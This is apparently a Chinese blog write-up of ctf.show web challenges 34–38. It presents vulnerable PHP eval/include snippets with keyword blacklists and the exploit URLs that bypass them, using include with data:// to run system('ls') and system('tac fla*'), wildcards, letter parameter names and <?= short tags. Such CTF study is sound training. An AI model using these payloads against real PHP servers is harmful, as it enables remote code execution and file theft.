Web34
源代码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
代码审计:
过滤了preg_match函数//之间的关键字。
思路:
比起上一题多过滤了冒号:.
不影响使用文件包含,与上一题操作相同。
EXP:
ls获取目录下的文件:
https://7e8eaa5a-1f6a-4111-8d41-020011cec413.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('ls');?>
读取flag文件:
https://7e8eaa5a-1f6a-4111-8d41-020011cec413.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('tac fla*');?>
得到flag.
Web35
源代码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
代码审计:
过滤了preg_match函数//之间的关键字。
思路:
比起上一题多过滤了小于号<和等于号=
不影响使用文件包含,与上一题操作相同。
EXP:
ls获取目录下的文件:
https://34966380-02a4-45b6-9248-0fe39acb14df.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('ls');?>
读取flag文件:
https://34966380-02a4-45b6-9248-0fe39acb14df.challenge.ctf.show/
?c=include$_GET[1]?>
&1=data://text/plain,<?php system('tac fla*');?>
得到flag.
Web36
源代码:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
代码审计:
过滤了preg_match函数//之间的关键字。
其中 [0-9] 表示匹配0到9之间的所有数字,[]只匹配单个字符。
思路:
多过滤了斜杠/和数字0-9
所以我们将构造的c=include$_GET[1]?>中的 GET参数1 替换为 任意字母 绕过对数字的过滤。
EXP:
ls获取目录下的文件:
https://34c0f893-1a28-4fed-990a-2c47c55740d8.challenge.ctf.show/
?c=include$_GET[a]?>
&a=data://text/plain,<?php system('ls');?>
读取flag文件:
https://34c0f893-1a28-4fed-990a-2c47c55740d8.challenge.ctf.show/
?c=include$_GET[a]?>
&a=data://text/plain,<?php system('tac fla*');?>
得到flag.
Web37
源代码:
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
代码审计:
perg_match函数过滤了flag
include函数对GET参数c进行了包含
思路:
使用data://伪协议读取文件内容。
由于过滤了flag,所有我们使用通配符*绕过。
EXP:
https://b0b97e25-534a-4eaf-a52d-fcecb6f24740.challenge.ctf.show/
?c=data://text/plain,<?php system('tac fla*')?>
得到flag.
Web38
源代码:
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
代码审计:
preg_match函数过滤了flag,php,file。
对 c 进行了包含。
思路:
我们要构造?c=data://text/plain,<?php system('tac fla*');?>读取flag.php文件。
但是这里过滤了关键字php,所以我们用短标签<?=绕过。
在PHP中,<?= 等同于 <?php echo.
EXP:
构造payload:
https://168087e6-1c0e-433c-b42e-e0e2c4b0035c.challenge.ctf.show/
?c=data://text/plain,<?= system('tac fla*');?>
得到flag.
1449

被折叠的 条评论
为什么被折叠?



